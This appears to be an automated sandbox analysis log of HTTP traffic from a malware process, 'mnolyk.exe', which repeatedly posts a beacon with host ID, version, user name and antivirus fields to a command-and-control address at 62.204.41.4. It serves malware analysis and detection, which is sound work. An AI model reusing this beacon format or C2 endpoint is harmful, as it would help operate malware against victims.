Feb 6, 2023 18:37:20.761388063 CET	751	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:20.828367949 CET	751	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.7	50026	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:21.007242918 CET	752	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:21.075069904 CET	752	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49727	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:56.731344938 CET	434	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:56.798099041 CET	435	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49754	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:04.905747890 CET	462	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:04.969631910 CET	462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.7	50027	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:21.251923084 CET	753	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:21.314766884 CET	753	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.7	50028	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:21.493237019 CET	754	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:21.558015108 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.7	50029	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:21.731774092 CET	755	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:21.796478033 CET	755	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.7	50030	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:21.969698906 CET	756	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:22.035923004 CET	756	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.7	50031	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:22.219104052 CET	757	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:22.288219929 CET	757	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.7	50032	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:22.465404987 CET	758	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:22.530270100 CET	758	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.7	50033	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:22.700596094 CET	759	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:22.764436960 CET	759	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.7	50034	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:22.947073936 CET	760	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:23.012310982 CET	760	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.7	50035	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:23.185231924 CET	761	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:23.251290083 CET	761	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.7	50036	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:23.421958923 CET	762	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:23.486078978 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49755	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:05.145544052 CET	463	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:05.211611986 CET	463	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.7	50037	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:23.652170897 CET	763	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:23.715187073 CET	763	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.7	50038	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:23.886375904 CET	764	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:23.949320078 CET	764	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.7	50039	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:24.123203039 CET	765	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:24.188124895 CET	765	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.7	50040	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:24.355269909 CET	766	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:24.418427944 CET	766	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.7	50041	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:24.611334085 CET	767	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:24.675154924 CET	767	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.7	50042	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:24.857892990 CET	768	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:24.921021938 CET	768	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.7	50043	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:25.122543097 CET	769	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
